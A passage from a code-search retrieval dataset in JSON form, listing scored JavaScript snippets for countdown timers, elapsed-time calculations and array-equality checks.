timeRemaining (){\n // going to return the number given in the input\n return parseFloat(this.durationInput.value)\n }", "title": "" }, { "docid": "f0a369ba327a303b76636ef685882d75", "score": "0.60897547", "text": "function updateTime() {\n element.text(dateFilter(new Date(), format));\n }", "title": "" }, { "docid": "cf8eeaf13873591201748a0bf1c4b494", "score": "0.60888755", "text": "function updateClock() {\n\t\tvar time_diff = end_time - (new(Date)());\n\t\t$(\"#hour\").html(Math.floor(time_diff / hour_div));\n\t\t$(\"#mins\").html(Math.floor(time_diff / mins_div));\n\t\t$(\"#secs\").html(Math.floor(time_diff / secs_div));\n\t}", "title": "" }, { "docid": "8a4a3ff865c3b1272d8673b6979ff481", "score": "0.60863966", "text": "function update() {\n var timePassed = delta();\n time += timePassed; \n formattedTime = timeFormatter(time); // redundant\n ss.storage[naming(tab)][\"timeSpentD\"] = formattedTime; // fix afterwards\n uiUpdater();\n }", "title": "" }, { "docid": "25e9f9bd811cceae48d38bdae3fd7d23", "score": "0.6083212", "text": "function updateTimer(){\r\n\r\n var me = this;\r\n var currentTime = new Date();\r\n var timeDifference = me.startTime.getTime() - currentTime.getTime();\r\n\r\n //Time elapsed in seconds\r\n me.timeElapsed = Math.abs(timeDifference / 1000);\r\n\r\n //Time remaining in seconds\r\n var timeRemaining = me.totalTime - me.timeElapsed; \r\n\r\n //Convert seconds into minutes and seconds\r\n var minutes = Math.floor(timeRemaining / 60);\r\n var seconds = Math.floor(timeRemaining) - (60 * minutes);\r\n\r\n //Display minutes, add a 0 to the start if less than 10\r\n var result = (minutes < 10) ? \"0\" + minutes : minutes; \r\n\r\n //Display seconds, add a 0 to the start if less than 10\r\n result += (seconds < 10) ? \":0\" + seconds : \":\" + seconds; \r\n \r\n \r\n me.timeLabel.text = result;\r\n \r\n if(me.timeElapsed >= me.totalTime){\r\n life--;\r\n lifeText = \"Lives:\"+life.toString()\r\n if(life <= 0){\r\n gameOver();\r\n }\r\n else{\r\n nextQuestion();\r\n }\r\n }\r\n\r\n }", "title": "" }, { "docid": "9b7561c5d4361e9fe1cd642f0c6a7a95", "score": "0.6080799", "text": "function getTime() {\n\t\t\tvar now = Math.floor((new Date()).getTime()/1000);\n\t\t\treturn start - now + time;\n\t\t}", "title": "" }, { "docid": "72a2a02694b2e19904277777c45fdc2a", "score": "0.6070863", "text": "function updatePreviewTime() {\n if (gamePointsInfo.correctClicks !== 0) {\n if (gamePointsInfo.correctClicks % inGameDifficulty.toNextLevel == 0) {\n gameTimeInfo.previewTime -= (gameTimeInfo.previewTime * inGameDifficulty.challengeSpeed)\n }\n }\n\n return gameTimeInfo.previewTime * 1000\n }", "title": "" }, { "docid": "d79a38571617482f965a3c120b3bb657", "score": "0.6068644", "text": "function displayTime() {\n timeRemainingEl.textContent = timeRem;\n}", "title": "" }, { "docid": "d50561b7323b53e6637474d526dcfe45", "score": "0.6058365", "text": "function updateTimer(timeRemaining){\n $(\"#minutes\").text(Math.floor(time/60));\n $(\"#seconds\").text(time - (Math.floor(time/60)) * 60);\n}", "title": "" }, { "docid": "cd2b8b8fd0626ab96255d76c0e73c4a4", "score": "0.60529196", "text": "function getTimeTo(date) {\n return date.getTime() - currentDate.getTime();\n}", "title": "" }, { "docid": "80519bc64aa7279439ad72214c0defda", "score": "0.60525995", "text": "function updateClock() { // eta funkciya obnovlyaet timer kazhduu sekundu // \r\n const t = getTimeRemaining(endtime); // delaem rasshet vremeni, kotori ostalsya na etu sekundu, v \"t\" zapisivaetsya resultat raboty \"getTimeRemaining\" // \r\n\r\n days.innerHTML = getZero(t.days);\r\n hours.innerHTML = getZero(t.hours);\r\n minutes.innerHTML = getZero(t.minutes);\r\n seconds.innerHTML = getZero(t.seconds);\r\n\r\n if (t.total <= 0) { // usloviya dlya prekrasheniya raboty timera // \r\n clearInterval(timeInterval);\r\n }\r\n }", "title": "" }, { "docid": "273eebadc34508f24a42ab28108bf609", "score": "0.6044503", "text": "changeTimeLeft(newTimeLeft) {\n let today = new Date();\n let travelDate = this.parseDate(newTimeLeft);\n let timeDiff = Math.abs(travelDate.getTime() - today.getTime());\n\n this.timeLeft = Math.ceil(timeDiff / (1000 * 3600 * 24));\n this.setState({timeLeft: this.timeLeft},\n this.updateDailySavings)\n }", "title": "" }, { "docid": "f9cbefb93c8551fb332b1e33a72940b2", "score": "0.6043222", "text": "function displayRemainingTime() {\n\tvar nbMinLeft = moment(currentSession.endVote).diff(moment(), 'minutes');\n\tif (nbMinLeft < 0 && currentSession) {\n\t\tloadCurrentSession();\n\t\treturn;\n\t}\n\tif (nbMinLeft == 0) nbMinLeft = \"<1\";\n\n\tscreen.goto(0,2).print(('Reste ' + nbMinLeft + 'min de vote ').substr(0, nbCols));\n}", "title": "" }, { "docid": "fd805fd7bd4c986bce29aa1d961c625b", "score": "0.6039467", "text": "get displayTime() {\n return (SECONDS_IN_DAY + this.currentTime + this.offset) % SECONDS_IN_DAY;\n }", "title": "" }, { "docid": "febde498ff8920ed830d823549bdb084", "score": "0.6021203", "text": "updateTimer(){\n var now = new Date().getTime();\n var distance = this.endingTime - now;\n var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));\n var seconds = Math.floor((distance % (1000 * 60)) / 1000);\n\n if (distance > 0){\n\n // update dom\n $(\"#rem-time\").html(\n ((minutes<10) ? ('0' + minutes) : minutes )+\n \":\"+\n ((seconds<10) ? ('0' + seconds) : seconds )\n );\n\n if( minutes === 0 && seconds < 10){\n $(\"#rem-time\").css('color', 'red');\n }\n\n }\n\n return distance\n }", "title": "" }, { "docid": "adabfdcab6be732e4f79891fff8c7c5c", "score": "0.6014491", "text": "function timeupdate() {\n popcorn.currentTime( start );\n popcorn.off( \"timeupdate\", timeupdate );\n }", "title": "" }, { "docid": "9457eebd1ce382f3faf3f91ac8e7271b", "score": "0.60122484", "text": "function updateTime(t) {\n if (t < 10)\n return \"0\" + t;\n else \n return t;\n }", "title": "" }, { "docid": "94bdfc4515fdbdd25ade1913c2fcc314", "score": "0.60021913", "text": "function pt(){ return new Date().getTime()-startTime+timeOffset; }", "title": "" }, { "docid": "15030cd33a6357ab13128c8a35c73003", "score": "0.6001104", "text": "function getTime() {\n return Math.round((finishTime - startTime) / 1000);\n}", "title": "" }, { "docid": "9c90c3fa66454a8989e993c6352bc407", "score": "0.6000149", "text": "function calcRidingTime(args) {\n var dt2 = new Date(Date.now());\n var dt1 = new Date(startRide);\n var diff =(dt2.getTime() - dt1.getTime()) / 1000;\n\n //solution from this site: https://www.sitepoint.com/community/t/how-do-i-change-time-format-from-minutes-to-hours-minutes-on-javascript/228701/2\n function twelveHourClock(seconds) {\n function leadingZero(num) {\n if (num < 10) {\n return \"0\";\n }\n return \"\";\n }\n var hours = parseInt(seconds / 3600);\n var minutes = parseInt((seconds - hours * 3600) / 60);\n var seconds = seconds % 60;\n return hours +\n \":\" + leadingZero(minutes) + minutes;\n }\n myDurationHolder.text = twelveHourClock(diff)+'h'; \n}", "title": "" }, { "docid": "303181f14c7c3e731905bfd9945f5b1e", "score": "0.5994989", "text": "changeAddTime() {\n\t\tlet msecs = +document.timeShift.shift.value; \n\t\tif (isNaN(msecs) || msecs <= 0) \n\t\t\talert (\"Invalid input: \" + document.timeShift.shift.value)\n\t\telse\n\t\t\t{ \n\t\t\tdocument.timeShift.shift.value = this.addedTime = msecs; // Global variable and form updated\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "dbb2c4eab49d3d9cd5930c394f5b38db", "score": "0.5992562", "text": "get timeRemaining() {\n\t\treturn parseFloat(this.durInp.value);\n\t}", "title": "" }, { "docid": "dceaa0c34c4d813815dd7008159b2e38", "score": "0.59836674", "text": "function getDesiredTimeNow()\r\n{\r\n var dtNow = new Date();\r\n dtNow.setTime(dtNow.getTime() - TB3O.localTimeOffset + TB3O.desiredTimeOffset);\r\n return dtNow;\r\n}", "title": "" }, { "docid": "932ae35b0b0542927feddf56d86b3e29", "score": "0.598092", "text": "function updateTimeElapsed() {\n const time = formatTime(Math.round(videoEl.currentTime));\n timeElapsedEl.innerText = `${time.minutes}:${time.seconds}`;\n timeElapsedEl.setAttribute('datetime', `${time.minutes}m ${time.seconds}s`);\n}", "title": "" }, { "docid": "875d620091dfc094bc624078dd15fdd3", "score": "0.5979476", "text": "function time_delta(start) {\n\treturn Date.now() - start;\n}", "title": "" }, { "docid": "c4e8f4aa0243f8fc451846c1c44793e8", "score": "0.5957085", "text": "function timeDiff() {\n userTime = (time2 - time1)/1000;\n }", "title": "" }, { "docid": "09c731abda42f2b0c0f803f3c2b06050", "score": "0.5956951", "text": "function showtime(remtime) {\n newText2.nodeValue = remtime; //updating the node that actually shows the time\n if (playing) {\n if (remtime === 0) {\n stopgame(); //stops game if time runs out\n return;\n } else {\n temp = remtime - 1;\n timerID = setTimeout(\"showtime(temp)\", 1000);\n }\n }\n }", "title": "" }, { "docid": "cccca4f4dbc3871ad73f4e3a7112d0f5", "score": "0.5952098", "text": "function timeToPlanet() {\n secondsRemaining -= 1;\n}", "title": "" }, { "docid": "83b60cc9928d72e099b968886f627339", "score": "0.5950464", "text": "function GetRemainingTimeFromDFDE(content) {\r\n\t\t\t\treturn number_format(parseInt(content.substr(5))) + \"h\";\r\n\t\t\t}", "title": "" }, { "docid": "f1fa8498a437e246a25e01c2982fcb75", "score": "0.59491265", "text": "function getExpiryTime() {\n syncTimeFromFirebase();\n if (moment.now().valueOf() >= expiryTime) {\n displayExpiryTime = expiryTime + 150 * 60 * 1000;\n } else {\n displayExpiryTime = expiryTime;\n }\n return displayExpiryTime;\n}", "title": "" }, { "docid": "d48cf82dfc6e26c413479e6407728908", "score": "0.59393513", "text": "actualizar() {\r\n let ahora = Date.now();\r\n this.dt = ahora - this.ultimo;\r\n this.ultimo = ahora;\r\n }", "title": "" }, { "docid": "8a842f9602aedac4e8d30101fe722c30", "score": "0.59389377", "text": "function updateTime() { \n element.text(dateFilter(new Date(), format));\n seconds--;\n if (seconds==0){\n scope.model = languages[next]; \n if (++next > languages.length-1) next=0;\n seconds=5;\n }\n }", "title": "" }, { "docid": "ec8fdf6f5ea03b55b65d38975d8e89e0", "score": "0.5928463", "text": "timeTo (time) {\n\t\treturn time.getUnixTime() - this.getUnixTime();\n\t}", "title": "" }, { "docid": "211cfa2faa8f8ca39decd1022565e9ab", "score": "0.5925669", "text": "get timeRemaining() {\n return parseFloat(this.durationInput.value);\n }", "title": "" }, { "docid": "bf67454f6e14b0c55f771e4ca81e41d2", "score": "0.59175926", "text": "update(dt, time) { }", "title": "" }, { "docid": "3590c15a7dd51b4c50a5b58216bb37ff", "score": "0.59146965", "text": "function updateOfferTimeCounter() {\n var span = $(this);\n var endsAt = moment(span.data('ends_at'), 'YYYY-MM-DD hh:mm:ss z');\n var millisecondsToEnd = endsAt - moment();\n if (millisecondsToEnd > (ONE_HOUR * 48)) return;\n if (millisecondsToEnd < 0) { // Offer has ended, we must disable it\n span.text('Offer has ended!');\n return disableOffer(span.closest('.card-offer'));\n }\n var timeToEndString = formatOfferEndTime(moment(millisecondsToEnd));\n span.find('strong').text(timeToEndString);\n}", "title": "" }, { "docid": "b07637b5b83a0a9195ebc51903eb5866", "score": "0.5914231", "text": "function setTime(){\n if(props.timeLeft < 0)\n return 0\n return Math.ceil(props.timeLeft)\n }", "title": "" }, { "docid": "502450464e432e7251b6aef83c2770c4", "score": "0.5906107", "text": "function updateTimer () {\n var difference = ((new Date()).getTime() - initalTime) / 1000;\n document.getElementById('ratelimited-time').innerText = parseFloat(difference).toFixed(2);\n}", "title": "" }, { "docid": "9424db8db7bd6c73d486370d88c32759", "score": "0.59046656", "text": "function updateTime() {\n currentTime = now.format(\"LLLL\");\n $(\"#currentTime\").html(currentTime);\n}", "title": "" }, { "docid": "88b39106d56a168f813989ec623f7fe2", "score": "0.5904287", "text": "function getTime(deadline) {\n var d = Date.parse(new Date());\n var x = timeInMinutes.value;\n deadline = new Date(d + x * 60 * 1000);\n return deadline;\n \n \n }", "title": "" }, { "docid": "38507b7a59fb8789b8512c700b40142c", "score": "0.59024936", "text": "function timeCalculator(){\n let now = Date.now();\n let timePassed = now - offset;\n offset = now;\n return timePassed;\n }", "title": "" }, { "docid": "4861a6fee0ef978aa5ff2c9800782ec1", "score": "0.5896012", "text": "updateTimer() {\n const now = Date.now();\n const dt = (now - this.lastTime) / 1000.0;\n this.lastTime = now;\n return dt;\n }", "title": "" }, { "docid": "0933231d6738a26f9d9f5bff86635520", "score": "0.58958125", "text": "function mk_update_duration() {\n var dur_min = Math.floor(window.duration_total / 60);\n var dur_sec = window.duration_total - dur_min*60;\n var dur_string = dur_min+':'+dur_sec;\n if ((dur_min > 0) || (dur_sec > 0)) {\n window.roundsleft = 5;\n var dur_string = dur_min.toString().padStart(2,0)+':'+dur_sec.toString().padStart(2,0);\n jQuery('#mk-gym-timer-duration').val(dur_string);\n } else {\n window.roundsleft = 0;\n mk_beep(2);\n mk_reset();\n }\n}", "title": "" }, { "docid": "1bb54c09f2bb36a7acbca48623f91ef7", "score": "0.5892768", "text": "function _updateRemainingTime() {\n //determine remaining words & update text\n var remainingWords = _calculateRemainingWords(),\n secondsLeft = Math.floor(remainingWords / (data.readSpeedWordsPerMin / 60));\n\n UI.updateText(secondsLeft);\n return remainingWords;\n }", "title": "" }, { "docid": "30297b340f8dce2bff3c36c56de9cff5", "score": "0.5890063", "text": "function updateTime() {\n var minutes = time_input.value;\n _datetime = new Date(new Date().getTime() + minutes*60000);\n updateDateRelevantInfos();\n}", "title": "" }, { "docid": "d8cdd2e7d568f9cd67138965a74036ad", "score": "0.58816683", "text": "function setTime(newTime){\n\t\tvar currentTime = Date.now();\n\t\ttimeOffset = newTime - currentTime;\n\t}", "title": "" }, { "docid": "393646bf644a34ab0630f7a93777b449", "score": "0.58786374", "text": "function displayTimeRemaining(timeWindow) {\n var differenceInSeconds = Math.floor(Date.now() / 1000) - localStorage.mostRecentTime;\n var timeRemainingUntilRefresh = (timeWindow * 3600) - differenceInSeconds;\n\n //Calculates hours, minutes, and seconds remaining\n var hours = Math.floor(timeRemainingUntilRefresh/3600);\n\n var minuteDivisor = timeRemainingUntilRefresh % 3600;\n var minutes = Math.floor(minuteDivisor / 60);\n\n var secondDivisor = minuteDivisor % 60;\n var seconds = Math.ceil(secondDivisor);\n\n if (minutes < 10) { minutes = \"0\" + minutes;}\n if (seconds < 10) { seconds = \"0\" + seconds;}\n\n //Displays time remaining on the email client\n var appendBox = $('div.Cq.aqL');\n var message = $('<div class=\"message\">').css({'padding-top': '2px', 'color': '#cf000f'});\n message.text(hours + \":\" + minutes + \":\" + seconds + \" until your inbox refreshes.\")\n appendBox.append(message);\n log_impression('gmail/no_new_emails')\n}", "title": "" }, { "docid": "d9d5248a7ae07985cdeacfa9d968281a", "score": "0.58765346", "text": "function update() {\n $(\"#currentT-input\").html(moment().format(\"H:mm:ss\"));\n}", "title": "" }, { "docid": "f768b0995c5a78ab464571db55846647", "score": "0.58665985", "text": "function timeSince(e) {\n let timeDiff = new Date(Date.now() - e.attr(\"data-toast-timer\"))\n if (timeDiff > 3599500) {\n e.text(`${timeDiff.getHours()} hours ago`)\n } else if (timeDiff > 59500) {\n e.text(`${timeDiff.getMinutes()} minutes ago`)\n } else {\n e.text(`${timeDiff.getSeconds()} seconds ago`)\n }\n}", "title": "" }, { "docid": "f84d35162996e8dcf8fa8ac06a65e0dd", "score": "0.5861796", "text": "function updateClock() { \n\t\tvar t = getTimeRemaining(endtime); \n\t\tdaysSpan.html(('0' + t.days).slice(-2)); \n\t\thoursSpan.html(('0' + t.hours).slice(-2)); \n\t\tminutesSpan.html(('0' + t.minutes).slice(-2)); \n\t\tsecondsSpan.html(('0' + t.seconds).slice(-2)); \n\t\tif(t.total <= 0) {\n\t\t\tclearInterval(timeinterval); \n\t\t} \n\t}", "title": "" }, { "docid": "4b7539a6faa82795cdc42280d4846d26", "score": "0.5857986", "text": "function convertTimeRemaining(){\n var now = moment().unix()\n var created_plus_five = moment(input.created_at).add(5, \"minutes\").unix()\n var t = created_plus_five-now\n var seconds = Math.floor(t % 60 );\n var minutes = Math.floor( (t/60) % 60 );\n var hours = Math.floor( (t/(60*60)) % 24 );\n var days = Math.floor( t/(60*60*24) );\n return {\n 'total': t,\n 'minutes': (\"0\" + minutes).slice(-2),\n 'seconds': (\"0\" + seconds).slice(-2)\n };\n}", "title": "" }, { "docid": "eb94bc67c8a7f02187711f89f79d016c", "score": "0.58534104", "text": "function updateTime() {\n nowMoment = moment().format(\"dddd, MMMM Do, h:mma\");\n $(\"#currTime\").text(nowMoment);\n }", "title": "" }, { "docid": "94bde460059cd89a77ae9763fdab86bd", "score": "0.58513093", "text": "getRemainingTime() {\n var remainingTime = this.duration - (Date.now() - this.startTime - this.delayTime) / 1000;\n if (!this.running) {\n remainingTime = this.duration - (this.pauseTime - this.startTime - this.delayTime) / 1000;\n }\n // console.log('Time remaining', remainingTime);\n return Math.round(remainingTime);\n }", "title": "" }, { "docid": "959fb5afdc7b3c3f470bb3c71aa8a361", "score": "0.5844417", "text": "function getTime() {\n var endTime = new Date();\n var result = endTime.getTime() - time.getTime();\n time = endTime;\n return result;\n}", "title": "" }, { "docid": "cc7a156aa4c45e56019ceb06104667cd", "score": "0.5842896", "text": "function getReminingTime(){\n // varaible for current time\n const today = new Date().getTime();\n //console.log('Current time:', today);\n\n // subtract future time from current time\n const remineTime = futureTime - today \n console.log('Here reminded time:', remineTime); \n\n // 1s = 1000ms\n // 1min = 60s\n // 1hr = 60min **formula** \n // 1d = 24hr\n\n // values in ms\n const oneDay = 24 * 60 * 60 * 1000;\n const oneHour = 60 * 60 * 1000;\n const oneMinute = 60 * 1000;\n //console.log(oneDay,oneHour,oneMinute);\n\n // calcuclte all values\n let days = remineTime / oneDay;\n // reassingnd days \n days = Math.floor(days); \n let hours = Math.floor((remineTime % oneDay) / oneHour);\n const minutes = Math.floor((remineTime % oneHour) / oneMinute);\n const seconds = Math.floor((remineTime % oneMinute) / 1000);\n\n\n // add a 0 to values less then 10\n function format(add){\n if (add < 10) {\n return (add = `0${add}`)\n }\n return add\n }\n\n // create array values for cal\n const showTime = [days,hours,minutes,seconds] \n\n // loop through countItems and put showTime values\n countItems.forEach(function (item, index) {\n item.innerHTML = format(showTime[index]);\n });\n \n // if counter is 0 show the ending\n if (remineTime < 0) {\n deadLine.innerHTML = `<h4>This Giveaway has ends</h4>`\n }\n\n}", "title": "" }, { "docid": "512e9b7371e00127c06ba240acde3ded", "score": "0.5842421", "text": "function updateClock() {\n var t = getTimeRemaining(endtime);\n\n daysSpan.innerHTML = t.days;\n hoursSpan.innerHTML = ('0' + t.hours).slice(-2);\n minutesSpan.innerHTML = ('0' + t.minutes).slice(-2);\n secondsSpan.innerHTML = ('0' + t.seconds).slice(-2);\n // milisecondsSpan.innerHTML = ('0' + t.miliseconds).slice(-2);\n\n if (t.total <= 0) {\n clearInterval(timeinterval);\n }\n }", "title": "" }, { "docid": "cdd65d54b533d7af3ebad02b621e5c90", "score": "0.58382136", "text": "function formatTimeRemaining (time) {\n var timeRemaining = new StringBuilder();\n timeRemaining.append(\"{b}({c}\");\n if (time > 3600) {\n timeRemaining.append(format(\n \"%dh%dm\", time / 3600, (time % 3600) / 60));\n } else if (time > 60) {\n timeRemaining.append(format(\"%dm%ds\", time / 60, time % 60));\n } else if (time >= 0) {\n timeRemaining.append(format(\"%ds\", time));\n } else if (time <= Buff.TIME_REMAINING_INDEFINATE) {\n timeRemaining.append(\"special\");\n }\n timeRemaining.append(\"{b}){x}\");\n return timeRemaining.toString();\n}", "title": "" }, { "docid": "ce6cdd0ea75bfc9f845960445964b09d", "score": "0.5837256", "text": "function calcGameTime() {\n\n gameTime = ((( new Date().getTime() - (startTime.getTime() + removedTime))) / 1000.0).toFixed(2).toString()\n \n}", "title": "" }, { "docid": "201e11fc396d51e4cc3e55a8a34d8985", "score": "0.5835366", "text": "function updateTime(e) {\n if (self.selectedDates.length === 0) {\n setDefaultTime();\n }\n if (e !== undefined && e.type !== \"blur\") {\n timeWrapper(e);\n }\n var prevValue = self._input.value;\n setHoursFromInputs();\n updateValue();\n if (self._input.value !== prevValue) {\n self._debouncedChange();\n }\n }", "title": "" }, { "docid": "201e11fc396d51e4cc3e55a8a34d8985", "score": "0.5835366", "text": "function updateTime(e) {\n if (self.selectedDates.length === 0) {\n setDefaultTime();\n }\n if (e !== undefined && e.type !== \"blur\") {\n timeWrapper(e);\n }\n var prevValue = self._input.value;\n setHoursFromInputs();\n updateValue();\n if (self._input.value !== prevValue) {\n self._debouncedChange();\n }\n }", "title": "" }, { "docid": "201e11fc396d51e4cc3e55a8a34d8985", "score": "0.5835366", "text": "function updateTime(e) {\n if (self.selectedDates.length === 0) {\n setDefaultTime();\n }\n if (e !== undefined && e.type !== \"blur\") {\n timeWrapper(e);\n }\n var prevValue = self._input.value;\n setHoursFromInputs();\n updateValue();\n if (self._input.value !== prevValue) {\n self._debouncedChange();\n }\n }", "title": "" }, { "docid": "308df7b5f542519b95352db4ccbae210", "score": "0.5834613", "text": "function getTimeRemaining(start_time){\n const now = new Date().toString();\n const total = Date.parse(now) - Date.parse(start_time) ;\n const seconds = Math.floor( (total/1000) % 60 );\n const minutes = Math.floor( (total/1000/60) % 60 );\n const hours = Math.floor( (total/(1000*60*60)) % 24 );\n const days = Math.floor( total/(1000*60*60*24) );\n return {\n total,\n days,\n hours,\n minutes,\n seconds\n };\n}", "title": "" }, { "docid": "f8f46a92ffdc83b66644657b8b5f1451", "score": "0.583351", "text": "get time(){\n return this._timeRemaining;\n }", "title": "" }, { "docid": "5c8856c80d0f33f2f8996a467ad9ce7a", "score": "0.58314776", "text": "function displayTime() {\n if (timeRemaining > 0) {\n timeRemaining--;\n $('.time-remaining').html('Time Remaining: ' + timeRemaining);\n } else {\n stopCountdown();\n timeLeft = false;\n outOfTime();\n displayNextQuestion();\n }\n }", "title": "" }, { "docid": "50497aa01eab6854956ce98d44fe724f", "score": "0.5816461", "text": "get() {\n return millis() - this.start_time;\n }", "title": "" }, { "docid": "bb1ba7b5d2d53bca055b6ab4a2d21291", "score": "0.58162326", "text": "function refreshTimeElapsed() {\n timeNow = Date.now() / second;\n timeElapsed = timeNow - timeStarted - totalPause;\n }", "title": "" }, { "docid": "b48b094c4d47331e0ac5e747ce38568e", "score": "0.5803944", "text": "function updateRetagClock(startTime) {\n $scope.state.tagsRetag.elapsedTime = toSeconds(Date.now() - startTime);\n }", "title": "" }, { "docid": "e28eb6c2906a6393ae318ae51fe80ab4", "score": "0.5801934", "text": "function update() {\n $('#currentTime').html(moment().format('D. MMMM YYYY H:mm:ss'));\n }", "title": "" }, { "docid": "4dbc6760884b2f70baba7645a82c36ca", "score": "0.5798975", "text": "function sendUpdatedTime(difference) {\n\tvar time = moment().startOf(\"day\").seconds(difference).format(\"m:ss\");\n\tchrome.runtime.sendMessage({\n\t\t\"command\": \"updateTime\",\n\t\t\"time\": time\n\t});\n\tchrome.browserAction.setBadgeText({\"text\" : time});\n}", "title": "" }, { "docid": "3f13333e1a807d69334482f7bc634065", "score": "0.5797305", "text": "function updateTime(e) {\n if (self.selectedDates.length === 0) {\n var defaultDate = self.config.minDate !== undefined\n ? new Date(self.config.minDate.getTime())\n : new Date();\n var _a = getDefaultHours(), hours = _a.hours, minutes = _a.minutes, seconds = _a.seconds;\n defaultDate.setHours(hours, minutes, seconds, 0);\n self.setDate(defaultDate, false);\n }\n if (e !== undefined && e.type !== \"blur\") {\n timeWrapper(e);\n }\n var prevValue = self._input.value;\n setHoursFromInputs();\n updateValue();\n if (self._input.value !== prevValue) {\n self._debouncedChange();\n }\n }", "title": "" } ]
15681d252f996e7b5716fb18481f7fdf
Test the elementbyelement equality of two Arrays of strings.
[ { "docid": "819a3896ed543bad6a9bd03676d799bd", "score": "0.6471866", "text": "function stringsEqual(xs, ys) {\n if (xs == null || ys == null) {\n return xs === ys;\n }\n\n if (xs.length !== ys.length) {\n return false;\n }\n\n for (let i = 0; i < xs.length; ++i) {\n if (xs[i] !== ys[i]) {\n return false;\n }\n }\n\n return true;\n}", "title": "" } ]
[ { "docid": "fe11d00ff5cd6d963842f3c05f57ca67", "score": "0.75222266", "text": "function arrayStringsAreEqual(word1, word2){\n let str1 = word1.join('');\n let str2 = word2.join('');\n return true ? str1 === str2 : false;\n}", "title": "" }, { "docid": "e33670d5dbd85357a16199d556581ccc", "score": "0.7456974", "text": "function equalArraysOrString(a, b) {\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return false;\n\n var aSorted = _toConsumableArray(a).sort();\n\n var bSorted = _toConsumableArray(b).sort();\n\n return aSorted.every(function (val, index) {\n return bSorted[index] === val;\n });\n } else {\n return a === b;\n }\n }", "title": "" }, { "docid": "1823b0194875fd93f20452b1bee28568", "score": "0.7377777", "text": "function equalArraysOrString(a, b) {\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return false;\n const aSorted = [...a].sort();\n const bSorted = [...b].sort();\n return aSorted.every((val, index) => bSorted[index] === val);\n } else {\n return a === b;\n }\n}", "title": "" }, { "docid": "03e34c537e2d7b431f64f4d0b2e16644", "score": "0.73663104", "text": "function stringArraysHaveSameElements(arrayA, arrayB) {\n if (arrayA.length === arrayB.length &&\n arrayA.sort().join() === arrayB.sort().join()) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "817a3b0c0132741d2ea6ae9cba17f693", "score": "0.73355", "text": "function equalArraysOrString(a, b) {\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length)\n return false;\n const aSorted = [...a].sort();\n const bSorted = [...b].sort();\n return aSorted.every((val, index) => bSorted[index] === val);\n }\n else {\n return a === b;\n }\n}", "title": "" }, { "docid": "817a3b0c0132741d2ea6ae9cba17f693", "score": "0.73355", "text": "function equalArraysOrString(a, b) {\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length)\n return false;\n const aSorted = [...a].sort();\n const bSorted = [...b].sort();\n return aSorted.every((val, index) => bSorted[index] === val);\n }\n else {\n return a === b;\n }\n}", "title": "" }, { "docid": "7e34fb7b89b2d3d80a5ac7cde0631c8d", "score": "0.7272356", "text": "function arrayEquals(arr1, arr2) {}", "title": "" }, { "docid": "7dffdaba5ed63a139cce9232167cd077", "score": "0.72452176", "text": "arraysAreTheSame(arr1, arr2) {\n //compare using a simple string conversion\n return (arr1.join(\"\") === arr2.join(\"\")) ? true : false;\n }", "title": "" }, { "docid": "842cdcde6280e9c4c4e8089d9b98d4fc", "score": "0.69511646", "text": "function equal(first, second) {\n if (first.length !== second.length) {\n return false;\n }\n for (var i = 0; i < first.length; i++) {\n if (first[i] !== second[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "842cdcde6280e9c4c4e8089d9b98d4fc", "score": "0.69511646", "text": "function equal(first, second) {\n if (first.length !== second.length) {\n return false;\n }\n for (var i = 0; i < first.length; i++) {\n if (first[i] !== second[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "de3d1554234d83377741e34c596699da", "score": "0.6946344", "text": "function assertEqArr(a1, a2) {\n assertEq(a1.length, a2.length);\n\n for(var i=0; i<a1.length; i++) {\n assertEq(a1[i], a2[i]);\n }\n}", "title": "" }, { "docid": "2ddc587c33d77726749e491ec554e05f", "score": "0.6869664", "text": "function arrayEquals(a, b, identityAccessor) {\n if (a.length !== b.length) return false;\n\n for (var i = 0; i < a.length; i++) {\n var valueA = a[i];\n var valueB = b[i];\n\n if (identityAccessor) {\n valueA = identityAccessor(valueA);\n valueB = identityAccessor(valueB);\n }\n\n if (valueB !== valueA) {\n return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "2ddc587c33d77726749e491ec554e05f", "score": "0.6869664", "text": "function arrayEquals(a, b, identityAccessor) {\n if (a.length !== b.length) return false;\n\n for (var i = 0; i < a.length; i++) {\n var valueA = a[i];\n var valueB = b[i];\n\n if (identityAccessor) {\n valueA = identityAccessor(valueA);\n valueB = identityAccessor(valueB);\n }\n\n if (valueB !== valueA) {\n return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "f5b2f3be3e2fd693cf5440007caaff9c", "score": "0.6845079", "text": "function arrayEquals(left, right) {\r\n if (left.length !== right.length) {\r\n return false;\r\n }\r\n for (var i = 0; i < left.length; i++) {\r\n if (!left[i].isEqual(right[i])) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "f5b2f3be3e2fd693cf5440007caaff9c", "score": "0.6845079", "text": "function arrayEquals(left, right) {\r\n if (left.length !== right.length) {\r\n return false;\r\n }\r\n for (var i = 0; i < left.length; i++) {\r\n if (!left[i].isEqual(right[i])) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "f5b2f3be3e2fd693cf5440007caaff9c", "score": "0.6845079", "text": "function arrayEquals(left, right) {\r\n if (left.length !== right.length) {\r\n return false;\r\n }\r\n for (var i = 0; i < left.length; i++) {\r\n if (!left[i].isEqual(right[i])) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "28a80452773313ca3d6245b2acc5b209", "score": "0.6831624", "text": "function arraysEqual(arr1, arr2) { return false; }", "title": "" }, { "docid": "5d531a5c16c280efd1e2cc0b017e079a", "score": "0.68186414", "text": "function arrayEquals$1(a, b) {\r\n const overlap = intersect$1(a, b);\r\n return overlap.length == a.length && overlap.length == b.length;\r\n }", "title": "" }, { "docid": "00696ddaf6d07e3ae2f4fd26e64fe05b", "score": "0.6817865", "text": "function arrayEquals(left, right) {\n if (left.length !== right.length) {\n return false;\n }\n for (var i = 0; i < left.length; i++) {\n if (!left[i].equals(right[i])) {\n return false;\n }\n }\n return 